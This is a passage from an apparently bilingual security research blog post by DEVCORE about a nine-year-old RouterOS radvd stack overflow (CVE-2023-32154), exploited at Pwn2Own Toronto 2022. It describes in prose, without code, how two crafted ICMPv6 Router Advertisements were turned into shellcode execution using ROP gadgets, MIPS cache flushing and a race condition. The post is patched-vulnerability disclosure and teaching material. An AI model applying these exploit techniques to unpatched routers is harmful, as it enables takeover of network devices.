Going back to resolver, the first iteration ends by passing back an id to radvd. radvd’s ResponseHandler will update the remote object based on the id it gets. But since the corresponding remote object has been marked for deletion, the ResponseHandler will delete the object instead of updating the object id.

After the ResponseHandler deletes the remote object saved in radvd, it will send a delete object message to resolver, informing it that the corresponding remote object is no longer in use and has to be deleted, but the request will still be stuck in the socket waiting to be processed.

The resolver then proceeds to the second iteration, where it gets a request from the socket to create a remote object for the second RA.

At this point, the previously set timer expires and the resolver calls nv::Handler::sendChanges to notify all subscribers what DNSs the resolver now knows about, since object 1 has not been deleted yet, so the resolver pushes the DNS that was created by the two requests. The DNS created by the two requests will be pushed out.

When radvd receives this information, it immediately constructs a RA packet to broadcast over the LAN, and the results of the two requests are mixed together, which is why our attack only succeeds on MacOS in the first place.

The race condition itself sounds hard to be triggered (it won’t be triggered if the delete request is processed before the timer), but this is because the whole process has been greatly simplified for ease of explanation, and in fact, as long as the time between the arrival of the two packets is short enough, the race will be successful.

Summary

Through the above analysis, we found a pattern of race conditions in the remote object mechanism of RouterOS:

  • Use non-blocking methods to create/delete the remote object
  • Subscribe to the remote object

Because it is possible to mix the results of two requests into a single response, this could possibly be used to bypass some security checks. If we can find such a vulnerability, it could be used to participate in the router category.

In the end, we were pressed for time and we didn’t find any exploitable vulnerabilities through the race condition.

And not only that, we realized that the exploit that we had tested hundreds of times over the past few months still had some issues, and we still couldn’t get it to work three hours before the registration deadline. We kept updating the exploit and the white paper we were going to submit, and it was done until half an hour before the deadline (4:00 AM deadline).

But luckily, we were able to complete the attack with only one attempt at Pwn2Own, becoming the first team in history to complete the new category of SOHO SMASHUP:

We earned 10 Master of Pwn points and $100,000 by this category, and at the end of the tournament, DEVCORE was crowned the winner with 18.5 Master of Pwn points.

In addition to receiving the Master of Pwn title, trophy, and jacket, the organizers will also send us one of each of the devices we hacked.

(We can’t fit all of them into a picture)

Conclusion

In this study, we have explored RouterOS in depth and revealed a security vulnerability that has been hidden in RouterOS for nine years. In addition, we found a design pattern in IPC that leads to a race condition. Meanwhile, we also open-source the tools used in the research at https://github.com/terrynini/routeros-tools for your reference.

Through this paper, DEVCORE hopes to share our discoveries and experiences to help white hat hackers gain a deeper understanding of RouterOS and make it more understandable.

Pwn2Own Toronto 2022 : A 9-year-old bug in MikroTik RouterOS

$
0
0

English Version, 中文版本

TL;DR

DEVCORE 研究組在 Pwn2Own Toronto 2022 白帽駭客競賽期間,透過研究過去少有人注意到的攻擊面,在 MikroTik 旗下路由器產品所使用的 RouterOS 作業系統中,發現了存在九年之久的 WAN 端弱點,透過串連該弱點與另一個同樣由 DEVCORE 發現的 Canon printer 弱點,DEVCORE 成為史上第一個在 Pwn2Own 賽事中成功挑戰 SOHO Smashup 項目的隊伍;最終 DEVCORE 在 Pwn2Own Toronto 2022 奪下冠軍,並獲頒破解大師(Master of Pwn)的稱號。

該 WAN 端弱點發生在 RouterOS 中的 radvd 程式,由於該程式在處理 IPv6 SLAAC 的 ICMPv6 封包時,未對 RDNSS 欄位的長度進行檢查,導致攻擊者可透過發送兩次 Router Advertisement 封包觸發緩衝區溢位攻擊,使得攻擊者可在不需登入且無需使用者互動的情況下控制路由器底層的 Linux 系統進行高權限操作,取得路由器的完整控制權;此弱點被登記為 CVE-2023-32154,其 CVSS 分數為 7.5。

針對上述弱點, DEVCORE 已於 2022/12/29 經由 ZDI回報 MikroTik 處理,並在 2023/05/19 完成修補,以下 RouterOS 版本已經對此弱點進行修補:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8
  • Stable Release 7.10
  • Testing Release 7.10rc6

Pwn2Own 與 SOHO Smashup 簡介

Pwn2Own 是一系列由趨勢科技的 Zero Day Initiative(ZDI)主辦的比賽,每場賽事都會針對該次主題挑選一些熱門的產品作為目標,例如:作業系統、瀏覽器、電動車、工控系統、路由器、印表機、智慧音箱、手機、NAS、網路攝影機……等等。只要參賽隊伍可以在無需使用者互動、設備處於預設狀態、軟體更新至最新版本的條件下,演示攻擊並成功獲得設備的主控權,就可以獲得相應的 Master of Pwn 點數和獎金。賽末結算時,Master of Pwn 點數最高的隊伍就是冠軍,也被稱為破解大師(Master of Pwn)。

前幾年由於疫情的關係,Work From Home 或是 SOHO(即小型辦公/家庭辦公)變得非常普遍,因此 2022 的 Pwn2Own Toronto 也新增了一個稱作 SOHO Smashup 的特別項目,參賽者需要從 WAN 端入侵路由器後,再將路由器作為跳板攻擊居家常見的設備,例如:智慧音響、印表機等設備。

這個特別的新項目,除了獎金是所有項目中第二高的 $100,000(USD)之外,得分也是最高的十分,因此如果目標是奪冠,奪下這個項目絕對是如虎添翼!DEVCORE 在本次賽事中也特別挑選較少人研究的 MikroTik 作為目標,避免與他人找到重複的漏洞(與其他人撞洞時,獎金與得分皆減半),最大化奪冠的機率。

RouterOS 簡介

MikroTik 開發的 RouterOS 是一套基於 Linux 核心的作業系統,也是 MikroTik 旗下產品 「RouterBoard」上預設安裝的作業系統,RouterOS 亦可被安裝在個人電腦上,用來將電腦作為路由器使用。

雖然基於 Linux 核心開發的 RouterOS 確實有使用 GPL 授權的開源軟體,但如果想要得到相關的程式碼,根據官方網站 downloadterms的說明,需要匯 45 塊美金給 MikroTik ,他們才會寄給你一張燒好 GPL source 的光碟,非常有趣的想法!幸好已經有人將 MikroTik 的 GPL source上傳到 Github,但在檢視過後,我們認為裡面的程式碼對於後續分析沒有太大的幫助。

RouterOS v7 與 RouterOS v6

在 MikroTik 官網的下載頁面上同時存在 RouterOS v7 以及 RouterOS v6 兩個版本,兩者之間的關係比較像是 RouterOS 的不同 branch,在設計上大同小異。因為我們的目標設備 RouterBoard RB2011UiAS-IN 預設安裝的是 RouterOS v6,所以我們先以 RouterOS v6 作為研究對象。

RouterOS 並沒有正式提供一個方法讓使用者直接管理底層的 Linux 系統,使用者被關在一個功能受限的 console 裡面,只能使用 RouterOS 提供的有限指令去管理這台路由器。因此過去有不少研究是關於如何 jailbreak RouterOS。

RouterOS 上的 binary 之間使用一種 MikroTik 自製的 IPC 進行溝通,此 IPC 利用稱為 nova message 的資料結構在各程式間交換資訊,因此我們將這類 binary 統一稱作 nova binary。

另外,RouterOS 還存在一個比較特別的攻擊面。在日常應用中,使用者可以透過 WinBox 這套 GUI 管理工具在 Windows 電腦上對 RouterOS 進行遠端管理,其原理是透過 TCP 向路由器傳送 nova message。因此若 RouterOS 沒有針對 nova message 做好權限驗證時,攻擊者就有機會自遠端發送一個夾帶惡意 nova message 的 TCP 封包入侵路由器;不過 WinBox 預設僅能從 LAN 端使用,對我們來說不是優先事項,因為這次的目標是從 WAN 端進行攻擊!

CVE 回顧

首先,為了熟悉 RouterOS 的攻擊面,我們全面審視了過去的 CVE。當時與 RouterOS 有關的 CVE 總共有 80 個,而當中可被用來在 pre-auth 情境下進行攻擊,且目標是路由器本身的共有 28 個 。

28 個 CVE 當中有 4 個 CVE 的使用情境是較符合 Pwn2Own 規則所描述的情境,這些 CVE 可以讓攻擊者在不需使用者互動的情況下在路由器上喚起一個 shell 或登入為 admin。這 4 個漏洞當中,有 3 個是在 2017 年至 2019 年這段時間被發現的,而且當中 3 個是「in the wild」而不是第一時間經由白帽駭客主動通報,這四個漏洞分別是:

  • CVE-2017-20149:又稱 Chimay-Red,是 2017 年從 CIA 外洩的武器庫「Vault 7」中,針對 RouterOS 進行攻擊的漏洞之一。漏洞發生在 RouterOS 解析 HTTP 請求時,若 HTTP headers 中的 Content-Length 是負值,會造成 Integer Underflow,搭配 Stack Clash 的攻擊手法就能控制程式流程達成 RCE。
  • CVE-2018-7445:是一個存在於 RouterOS 自己實做的 SMB 中的 buffer overflow。這是透過黑箱模糊測試找到的漏洞,也是四個漏洞中唯一一個由發現者自行回報的漏洞,一樣能夠控制程式執行流程最後達成 RCE,但 SMB 不是預設開啟的服務。
  • CVE-2018-14847:也是「Vault 7」中針對 RouterOS 進行攻擊的漏洞之一。這個漏洞使攻擊者可以不需登入就讀取任意檔案,乍聽之下好像不是大問題,但由於在 RouterOS 的早期版本中,使用者的密碼是以 password xor md5(username + "283i4jfkai3389")的方式儲存在檔案中,所以只要能夠讀取這個檔案,攻擊者就可以逆算得到 admin 的密碼。
  • CVE-2021-41987:在 SCEP 服務的 base64 解碼過程中,因為長度計算錯誤導致的 heap buffer overflow 漏洞,這是資安研究員分析了 APT 在其 C2 server 上的 exploit 後反推出來的漏洞。

可以發現,這些漏洞大多是「in the wild」,我們無從得知當初發現漏洞的人是如何進行分析及思考。因此關於分析 RouterOS 的思路或是技巧,透過這些漏洞能學習到的十分有限。

相關研究回顧

我們繼續研讀公開的研究資料,在比賽的當下我們有這些文章以及演講可以參考:

IPC 與 Nova Message 回顧

可以發現上述的研究大部分都離不開 RouterOS 的自製 IPC,所以我們也簡單的對其機制進行了回顧。 這裡使用一個簡單的例子對 IPC 進行說明。

日常使用場景中,使用者可以透過 telnet 登入至 RouterOS,並使用 conolse 對路由器進行管理。

讓我們拆解整個流程中 IPC 參與的部分:

  1. 當使用者欲透過 telnet 存取 RouterOS 的 console 時,telnet process 會使用 execl去執行 login這個程式,並向使用者索取帳號及密碼。
  2. 當使用者送出帳號密碼之後,login process 會將帳號密碼放進 nova message 中,發送至 user process 請求驗證
  3. user process 完成驗證後,透過 nova message 通知驗證的結果
  4. 如果登入成功就會喚起 console process,接下來使用者與 console互動的過程都是透過 login process 轉發

IPC 簡介

上面的例子簡單地描述了 IPC 的基本概念,但兩個 process 間的溝通實際上更加複雜。首先,每個送往其他程式的 nova message 都會先透過 socket 被送往 loader,接著 loader才根據 message 內容把 message 分派給對應的 nova binary。

讓我們舉一個簡單的例子來說明:假設 login process 的 id 是 1039;user process 的 id 是 13,且 user process 中負責驗證帳號密碼的是 id 為 4 的 handler。 則在登入驗證流程中,login process 首先會送一個包含帳號密碼的請求給 user process,這時的 SYS_TO是一個包含兩個元素的陣列:[13, 4],表示要把 message 送給 binary id 為 13 的 process 中 id 為 4 的 handler。

loader收到 message 後,它會先移除 message 內 SYS_TO中代表目標 binary id 的 13,並在 SYS_FROM 中增加來源 binary 的 id,也就是 1039,之後把 message 傳送給 user process。

user process 收到 message 後也會做類似的事情,將SYS_TO中代表目標 handler id 的 4 移除後,接著把 nova message 送至 handler 4 進行處理,最終由 handler 4 執行驗證的邏輯。

Nova Message 簡介

而上述 IPC 中使用的 nova message 是由 nv::message及相關的 function 進行初始化與設定。Nova message 實際上是由具有型別的 key-value pair 構成,且 key 只能是整數,所以 SYS_TOSYS_FROM等 key 只是單純的 macro 罷了。而 nova message 中可以使用的型別包括 u32, u64, bool, string, bytes, IP 及 nova message (也就是可以建立巢狀的 nova message)。

因為 RouterOS 已不用 JSON 來傳遞 nova message,所以我們只針對 binary 格式進行說明。在 IPC 溝通過程中,收方的 socket 首先會收到一個表達當前 nova message 長度的整數,之後接著 binary 格式的 nova message。

Nova message 的開頭是兩個 magic bytes:M2。接下來,每個 key 都使用 4 bytes 來描述;其中,前 3 bytes 用來表達 key 的 id,最後一個 byte 是 key 的型別。根據型別,會以不同解析方式將緊接在後的 bytes 取出作為 data,取完 data 之後,後面緊接著的便是下一個 key,如此循環下去。當中比較特別的是 bool 型別,因為 bool 可以僅用一個 bit 表示,nova message 便直接使用 type 的最低一位 bit 來表示 True/False,更詳細的格式可以參考 Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight

x3 format

為了瞭解 nova message 中 SYS_TOSYS_FROM的 id 具體是指哪一個 nova binary,我們需要解析一種副檔名為 x3 的檔案,它是 binary 格式的 xml。在撰寫工具解析 /nova/etc/loader/system.x3後,我們便可得知每個 id 所對應的是哪個 nova binary,例如在下圖中,/nova/bin/log的 id 就是 3。

但有些 binary 的 id 並不在這個檔案當中,是因為該 binary 可能是透過安裝 MikroTik 官方提供的 package 之後才有的功能,此時 binary 的 id 就會存在於 /ram/pckg/<package_name>/nova/etc/loader/<package_name>.x3當中,radvd就是一例。

儘管如此,依舊有些 binary id 是無法在任何 .x3 檔案中找到的,因為這類型的 process 並不是持久存在,例如:只有使用者嘗試登入時才會被喚起的 login process,這類 process 就以流水號作為 id。

另外,.x3 檔案也被用來記錄 nova binary 的相關設定,例如 www就在 .x3 中指定每個 URI 應該使用哪一個 servlet 來進行處理。

小結

經由回顧了過去的研究及 CVE,可以發現大多我們感興趣的漏洞都集中在過去的一段時間內,近期似乎很難在 RouterOS 的 WAN 端找到 pre-auth 的漏洞。 且雖然這期間持續有漏洞被揭露,但可以發現 MikroTik 變得越來越安全。MikroTik 上真的已經不存在 pre-auth 的漏洞了嗎?或許單純只是所有人都把什麼東西漏看了?

前面提及的公開研究,可以簡單分成下面三類:

  • 越獄(Jailbreaking)
  • 分析在野的 exploit
  • 研究 IPC 中的 nova message

然而在逆向 RouterOS 上的 binary 一段時間之後,我們發現整個系統的複雜度不僅於此,但卻沒什麼人提及相關細節。因此有了以下的感想:「沒有任何理智正常的人想要花時間逆向 nova binary」。

除了從 CIA 及 APT 取得的 exploit 之外,大部分在 RouterOS 上尋找漏洞的研究不外乎是 Fuzzing 網路協議、玩弄 nova message 或是針對 nova message 進行模糊測試。從成果來看,攻擊者對於 RouterOS 的理解似乎高過我們很多,我們需要探索更多關於 nova binary 的細節來彌補差距,才有機會找到我們想要找的漏洞。雖然我們並不反對 fuzzing 這個手法,但若要在這場比賽中取得優勢,我們就必須確定所有細節都被親眼看過。

從何開始

我們不認為 RouterOS 已經完美無暇,而且不難發現研究員與攻擊者對於 RouterOS 的理解存在著差距。所以,要在 RouterOS 上找到 pre-auth RCE 我們還缺少什麼?

首先我們想到的第一個問題是:IPC 的入口點在哪裡,它又通往哪裡?大部分透過 IPC 觸發的功能都需要進行登入,所以可以預期到:拘泥於 IPC,只會找到更多 post-auth 的弱點。且 IPC 不過只是 RouterOS 上用來實作主要功能的其中一個環節,我們更想直接、謹慎的觀察每個功能的核心程式碼。

舉例來說:負責處理 DHCP 的 process 是如何從一個 DHCP 封包中擷取需要的資訊?這些資訊可能直接被存在該 process 中,或可能需要透過 IPC 送給其他 process 做進一步處理。

Nova Binary 的架構

因此我們必須先認識 nova binary 的架構,每個 nova binary 中都有一個 Looper(或其衍生類別:MultifiberLooper),Looper 是負責執行 event loop 邏輯的一個類別,每次迭代都會呼叫 runTimer來執行時間到了的 timer ,以及呼叫 poll去檢查 socket 的狀態並做相對應的處理。

Looper 也負責自己所在的 nova binary 與 loader 之間的溝通,Looper 首先會先會針對當前 binary 與 loader 之間的 unix socket 註冊一個特別的 callback function:onMsgSock,這個函式負責把從 socket 收到的 nova message 分配給 nova binary 中對應的 handler。

Handler 類別與其衍生類

當 Looper 收到一個 nova message 時,它會將之分派給對應的 handler。例如,SYS_TO[14, 0]的訊息會被 loader 分配給 binary id 為 14 的 nova binary,而 binary id 為 14 的 binary 中的 looper 收到時,SYS_TO已經剩下 [0],因此 looper 會將其分配給 handler 0 進行處理。如果一開始的 nova message 中 SYS_TO[14],則 looper 收到時 SYS_TO[],這種情境將由 Looper 自行處理。

現在讓我們假設,Looper 收到了一個由 handler 1 負責的 nova message,並分配給 handler 1,在收到 message 後,handler 1 會去呼叫 Handler 類別中的 nv::Handler::handleCmd,這個函式會根據 nova message 中的 SYS_CMD在 vtable 中尋找對應的 function 執行。

除了常規的功能之外,vtable 中的 cmdUnknown常被開發者 override 用以擴充功能,但有時開發者反而是 override handleCmd,看起來是全依 MikroTik 開發者的心情而定。而 Handler 類別因為是基礎類別,所以 object 相關的指令並沒有被實作。

衍生類別

然而 nova binary 中使用最多的並不是基本的 Handler 類別,而是其衍生類別。 衍生類別可以用來儲存多個單一型別物件,類似 C++ 的 STL 容器。

舉例來說,當使用者透過 web panel 的管理介面建立一個 DHCP server 的時候,會送出一個指令為「add object」的 nova message 到 dhcp process 的 handler 0,接下來 handler 0 會產生一個 dhcp server 物件記錄相關設定,並且該物件會被保存在 handler 0 內部的一個 tree 當中。

這裡的 handler 0 就是一個 AMap的 instance,AMap即是 Handler的一個衍生類別。 且由於指令是「add object」,所以觸發了 AMap::cmdAddObj這個成員函式,這個成員函式會去呼叫 handler 0 的 vtable 中位於 offset 0x7c 位置所指向的一個 function,這個 function 實際上就是 AMap中包含的物件的建構式,例如,若開發者在宣告 handler 0 時,其類型為 AMap<string>,則 offset 0x7c 的位置所指向的 function 就是 string的建構式。

每個衍生類別儲存內部物件建構式的 function 在 vtable 上的 offset 都不相同,想要找到衍生類別中物件的建構子,可以透過逆向它們個別的 cmdAddObj來找到。

IPC,和 IPC 以外的

儘管 IPC 似乎無處不在,但其實 RouterOS 中有許多功能並不以 IPC 實現。以實作在 discover程式中的兩個 layer 2 的發現協議:CDP、LLDP 為例:

  1. 在開啟這兩個服務時,discover中的 handler 0 會負責去呼叫 nv::createPacketReceiver來開啟 CDP 及 LLDP 使用的 socket 並且註冊分別對應的 callback function
  2. 在 Looper 的每次迭代中,程式會透過 poll 來檢查 CDP 及 LLDP socket 是否有收到封包
  3. 如果發現有收到封包就會呼叫對應的 callback function 去進行處理

CDP 的 callback 做的事情也非常簡單:確定收到封包的 interface 是允許存取的,如果正確,就解析封包並直接把資訊直接存入 nv::ASecMap接著就直接結束,過程中並不使用 nova message。

在此類情境中,IPC 除了用來開啟 CDP 或 LLDP 服務之外(預設開啟),完全無法觸發 CDP 或是 LLDP 的任何功能,因此以往專注於 IPC 的研究就很有可能沒有檢測到這種實作方式的程式邏輯。

Pre-Auth RCE 的故事

對於 RouterOS 的理解,也伴隨著一次驚喜的意外帶領我們找到深藏已久的漏洞。

賽前某一天,我們照常為了在 RouterOS 上進行逆向及除錯而插拔網路線時,發現 log file 紀錄到 radvd這隻程式已經 crash 了好幾次!所以我們嘗試插拔網路線來手動復現 crash 的發生,搭配 debugger 使用就能定位到出問題的地方,但經過了上千次的插拔,我們還是無法確定 crash 產生的條件,只能任憑 crash 隨機的發生。

經過一段時間的掙扎後,我們停止透過這種盲目的嘗試來定位漏洞,轉而利用靜態逆向分析 radvd來尋找 crash 產生的位置,雖然最後依舊沒找到造成 crash 的根因,但受益於我們對於 nova binary 的理解,我們在 radvd中找到了另外一個可以利用的漏洞。

在介紹這個漏洞之前,必須得先介紹一下 radvd process 究竟是負責什麼功能的程式。

SLAAC (Stateless Address Auto-Configuration )

一言以蔽之,radvd是一個負責處理 IPv6 的 SLAAC 的服務。

在 SLAAC 環境中,假設一台電腦想要取得一個 IPv6 的地址上網,他首先會向所有 router 廣播一個 RS(Router Solicitation)的請求。 在 Router 收到 RS 之後,就會透過 RA(Router Advertisement)將 network prefix 廣播出去;收到 RA 的電腦便可以拿 network prefix 以及 EUI-64 來自行決定自己用來連網的 IPv6 為何。

若 ISP 或是網管,想把一個網段分配給用戶,讓用戶可自行分配地址給用戶管理的機器,在只使用 SLAAC 而不輔以 DHCP 時,如何分配一個網段給使用者?因為 SLAAC 並沒有辦法直接委派,所以通常會是這麼運作的:

假設有一個 upstream router:Router A,它屬於 ISP 或網管、還有一台用戶自行管理的 Router B、一台用戶管理的電腦。ISP 或網管會預先透過 email 通知用戶一個分配給用戶使用的 /48 network preifx,這裡假設是 2001:db8::/48。用戶可以將之設定在 Router B 上,則當電腦向 Router B 發送 RS 時,Router B 就會把這個 prefix 放入 RA 中回傳,而這個 prefix 稱作 routed prefix。

同時為了讓使用者的 Router B 有辦法與 Router A 溝通,它也需要一個自己的 IPv6 地址,這時 Router B 從 Router A 拿到的 network prefix 就稱作 link prefix。

radvd 的執行流程

  1. radvd process 被啟動時,會透過 nv::ThinRunner::addSocket來開啟 radvd使用的 socket 並且註冊對應的 callback function
  2. Looper的每次迭代中會透過 poll 檢查 socket 是否有收到封包

  3. 如果發現有收到封包就會呼叫對應的 callback function 去進行處理

radvd的 callback 中,它首先檢查封包是否是合法的 RA 或 RS,是 RA 就把資訊存起來;是 RS 就開始往 LAN 廣播 RA。

而總共有三種情況 RouterOS 會往 LAN 廣播 prefix:

  1. 從 LAN 收到 RS 封包
  2. 從 WAN 收到 RA 封包
  3. 定時在 LAN 廣播 RA 封包(預設隨機在 200~600 秒之後廣播一次)

不過在 callback 中我們沒有馬上透過靜態分析找到 case 2 發送 RA 的地方,當時我們還不確定具體原因。後來發現這部分的行為與 RouterOS IPC 中的訂閱機制有關,我們將會在後面的章節進行解釋,這同時也與我們發現的 race condition 相關。不過另外兩個情況我們到是可以直接透過靜態分析找到。

在 case 1 中,當從 LAN 收到 RS 時,radvd會呼叫 sendRA 來廣播 RA 封包:

在 case 2 中,handler 1 在初始化後便會去註冊一個 timer,RAroutine

RAroutine被用來在每隔一段時間去呼叫 sendRA 來廣播封包:

CVE-2023-32154

可以發現共同的函式就是 sendRA,在深入分析 sendRA之後,我們發現 radvd在處理 DNS advisory 的地方存在弱點。

首先,radvd會將 upstream 收到的 RA 中的 DNS advisory 儲存起來(使用 tree 作為資料結構),當 router 要往 LAN 廣播 RA 時,這些 DNS 也會被包進 RA 中一起被廣播給 LAN 的機器。在 radvd中,是 addDNS這個 function 將樹狀結構的 DNS 展開後放進 ICMPv6 的封包當中。用來傳遞給 addDNS的第一個參數 RA_raw是一個 4096 bytes 的 buffer,也就是最終被送出的 ICMPv6。

跟進 addDNS後我們馬上可以發現這裡可能存在一個 stack buffer overflow 的弱點,addDNS透過 memcpy把 DNS 放進 ICMPv6 封包中而且沒有任何 boundary check,只要 DNS advisory 給的夠多就可以觸發 stack buffer overflow。

這裡使用的 DNS 來自於 RA 封包中的 RDNSS 欄位,但根據 RFC 可以發現,用來描述 RDNSS 長度的欄位只有 8-bit,所以最多僅能覆蓋 255*16 bytes,這個長度並無法使我們覆寫到 return address。

但如果這不是 radvd第一次收到 RA,radvd就需要在接下來的封包中將舊的 DNS 標為 expired,所以實際上我們可以覆蓋兩倍的長度,也就是 255*16*2 bytes,這就足以讓我們覆蓋到 return address 了。

攻擊流程

有了上述的弱點,我們只要透過往目標 RouterOS 送兩個 RDNSS 欄位長度為 255 的惡意 RA 封包,就可以利用 RDNSS 中的 IPv6 地址來控制 radvd程式的執行流程。

保護

由於 RouterOS 使用 MIPS 的架構,所以 CPU 並不支援 NX ,但除此之外的保護也沒有被開啟。 所以只要找到好用的 ROP gadget 讓執行流程最終 jump 到我們放在 stack 上的 shellcode 就行了,聽起來極度簡單。

shellcode 限制

但是在構造 exploit 的過程中其實存在不少限制,例如,因為 IPv6 地址被儲存在 tree 結構中,所以會在排序後才放上 stack,因此我們必須保證我們建構的 payload 在經過排序之後還會是我們一開始構造的 shellcode。

最簡單的方法是把 IPv6 的 prefix 當作流水號,這樣可以保證我們構造的內容照順序排列,接者只要透過 ROP gadget 跳到後半段的 shellcode 上面就算完成了。而在撰寫 shellcode 時,我們只要把每個地址的 suffix 都構造成 jump,用來跳過無法執行的流水號即可。

但由於 MIPS 存在 delay slot 機制的關係,CPU 實際上會先去執行 jump指令的後一條指令。

所以我們必須把 jump往前移動才行,但緊接著的問題便是:在 delay slot 中不能使用 syscall這個指令。這種情境下,payload 構造起來相當麻煩之外,還可能會超過我們可以使用的長度,因此這從一開始就是個壞主意。

然而眼尖的朋友肯定已經發現了,這其實是 CTF 中常見的初學等級題目,只要讓 prefix 是一個合法且不影響執行結果的指令就好了,我們把 prefix 改成 addi s8, s0, 1, addi s8, s0, 2, addi s8, s0, 3……,以此類推。除了 payload 會照排序排好之外,也節省了本來用來放 jump指令的空間。

但我們還需要稍微修改一下 payload 才行,因為我們沒有 leak stack 位址的漏洞,加上我們找不到任何可用的 gadget 來把 stack 位址從 $sp暫存器搬到 $t9暫存器,所以我們這裡做的事情是:首先,透過 ROP gadget 把 jalr $sp指令寫到一塊記憶體上,之後再用一個 ROP gadget 跳上去執行它,這樣就可以將執行流程導向我們構造的 shellcode,聽起來是一片光明的未來:

但光是這樣是無法順利執行 shellcode 的,因為 MIPS 針對記憶體的存取方式有兩個不同的 cache。

cache

MIPS 上存在兩個 cache:I-cache(instruction cache)、D-cache(data cache)。

當我們把 jslr $sp指令寫上記憶體時,實際上是寫到 D-cache 中。

而當我們接著把執行流程控制到 jslr $sp的地址時,處理器會先去檢查這個地址的指令有沒有在 I-cache 當中,因為該位址位於 data section,在正常執行流程中肯定沒有被執行過,所以 cache 永遠都會 miss,因此處理器會接著將 memory 的內容載入 I-cache 當中。

此時因為 D-cache 的內容還沒有被更新到 memory 上,I-cache 只會抓到一堆 null bytes,也就是 MIPS 上的 nop,所以程式只會執行一堆毫無意義的 nop 直到 crash 為止。

在這裡我們需要使處理器將 D-cache 的內容寫回 memory,有兩個方法可以做到這件事情:context switch 或是用盡 D-cache 所有空間(32 KB)。觸發 context switch 是比較簡單的做法,但在 radvd中並沒有任何 sleep讓我們用來觸發 context switch,其他 function 雖然也會陷進 kernel,但 context switch 發生的機率並不高,為了角逐 Pwn2Own 冠軍,讓攻擊達到趨近 100% 成功的穩定度是必須的,因此我們轉而尋找耗盡 D-cache 的 32kb 容量的方法。

首先,透過簡單的檢查可以發現 RouterOS 的 radomize_va_space變數是 1,表示 heap 的記憶體位址不是隨機的,因此不需要 leak 就可以知道 heap 所在位址,所以我們只要接著想辦法讓 heap 分配足夠大的空間,然後寫一些無關緊要的東西上去就可以耗盡 32kb 的 D-cache 了!不過 radvd中並沒有太多好用的 ROP gadget,所以要構造這樣的 payload 需要串連更多 ROP gadget 才能達到同樣的目的,最終 payload 長度可能會超過我們可以覆蓋的長度。

幸運的是如同前面所說,DNS 被存放在 tree 結構中,所以儲存時就已經在 heap 中佔據一大塊記憶體,透過 gdb 逐步執行,我們可以確定在處理 DNS 時,heap 的空間已經比 32kb 還要大!因此我們只要接著透過 GOT hijack 呼叫 memcpy 往 heap 寫 32kb 的垃圾就可以了!

最後我們的 exploit 就完成了:

結合我們另外一個為了 Pwn2Own 找的 Canon printer 弱點,攻擊流程會是

  1. 攻擊者作為 router 的壞鄰居,對它發送惡意的 ICMPv6 封包
  2. 在成功控制 router 後,我們進行 port forwarding,把 payload 導向在 LAN 的 Canon 印表機。

在 Pwn2Own 的比賽環境中,網路環境可以被簡化得更簡單一點,如下:

Exploit 除錯過程

就在我們覺得 $100,000 的獎金已經到手的時候,不可思議的事情發生了,那就是我們的攻擊只要在 Ubuntu 上執行就會失敗,不管這個 Ubuntu 系統是在 MacOS 內的一台虛擬機器又或者是一台 Ubuntu 實機;而 Pwn2Own 官方,基本上是使用 Ubuntu 來執行我們的 exploit,所以我們必須要解決這個問題。

我們嘗試在 MacOS 上執行 exploit 並且紀錄網路封包,然後在 Ubuntu 上重放流量,可以觀察到重放會失敗:

我們也嘗試在 Ubuntu 上執行 exploit 並且記錄網路封包,當然在 Ubuntu 上是失敗的,但當我們在 MacOS 重放失敗的流量時,他竟然成功了:

到這裡我們猜測可能是其中一個 OS 在送出封包之前會對封包進行重新排序,而重新排序的這個行為或許在 wireshark 擷取到封包之後,所以才沒被 wireshark 紀錄到。因此我們直接寫了一個 sniffer 放在 router 上面來監控流量,且因為 AF_PACKET類型的 socket 不會被防火牆規則影響,結果應該要非常可靠:

然而,從兩邊錄到的封包根本一模一樣……

所以,exploit 目前只在我的 MacOS 上成功過,如果狀況不解決,唯一的方法就是我帶著我的 Mac 筆電飛去多倫多,在現場用我自己的筆電進行攻擊。但我們不可能放著這個成因不明的問題不管,誰知道會不會在比賽中也發生在我的筆電上,如果真的發生那就虧大了。

在經過幾次謹慎的復盤之後我們終於知道問題的成因了——速度。因為兩個 RA 封包送出時間間隔並不大,所以很難在 wireshark 的時間軸上直接看出來,但如果計算一下會發現,兩個所花費的時間其實相差了 390 倍。所以問題也不是出在 Ubuntu 上,而是因為 Mac 送兩個封包送的太快,不小心觸發了存在在 radvd 中的 race condition(加上極度懶惰的我沒有好好計算蓋到 return address 要花多少 bytes,直接在上面寫滿垃圾然後做 pattern match 而已,所以這個 offset 只在 race 的情況下才正確)。

解決方法就是在送出兩個 RA 封包之間 sleep 一下,並把 payload 中的 offset 修復成沒有 race 的情況下觀察到的 offset,就可以穩定我們的攻擊腳本,把成功機率提升到 100%。

Fix

這個漏洞在以下版本中已經被修復:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8, 7.10
  • Testing Release 7.10rc6

同時我們也發現這個漏洞從 RouterOS v6.0 就已經存在了,從官網可以發現 6.0 的發布日期是 2013-05-20,也就是說這個漏洞已經存在在那裡九年之久,卻沒有人發現他。

呼應到我們一開始的想法:「沒有任何理智正常的人想要花時間逆向 nova binary」,得證。

The race condition

然而這個妨礙我們輕鬆賺取 $100,000 的 race condition 是怎麼發生的?如前面所述,nova binary 中有一個 Looper 循環檢查當前有什麼事件發生,也就是説這是一個 single thread 的程式,那 race condition 是怎麼回事?(有些 nova binary 是 multi-fiber,但 radvd並不是)

這就要提到一個剛才沒有提到的細節,當 radvd在解析從 WAN 收到的 RA 封包時,DNS 是被存入一個 「vector」 當中,然而在準備 LAN 廣播用的 RA 封包時,addDNS卻是把一個儲存了 DNS 的 「tree」給展開,所以這個 vector 跟 tree 之間是什麼關係?又是怎麼轉換過去的?

這也是為什麼我們沒有第一時間就在 callback 裡面找到「從 WAN 收到 RA 就會往 LAN 廣播 RA 封包」的邏輯,因為這是由兩個 process 在一陣複雜的互動之後所產生的結果。

我們仔細看一下 callback 具體上做了什麼,可以看到有一個 array 負責用來存放一種叫做「 remote object」的物件,這段程式碼看起來很直觀,就是迭代存有 DNS 的 vector,然後為每個 DNS 地址都呼叫一次 nv::roDNS,並把函式的執行結果保存在 DNS_remoteObject vector 當中。

remote object

所以什麼是 remote object?remote object 是 RouterOS 中用來跨 process 分享資源的一個機制:一個 process 負責保存共用資源,然後另外一個 prcoess 可以通過 id 向負責保存的 process 發送請求來進行增刪查改。 例如 DNS remote object 實際上放在 resolver process 中的 handler 2,而 radvd的 handler 1 只是單純保有這些物件對應的 id 而已。

subscription and notification

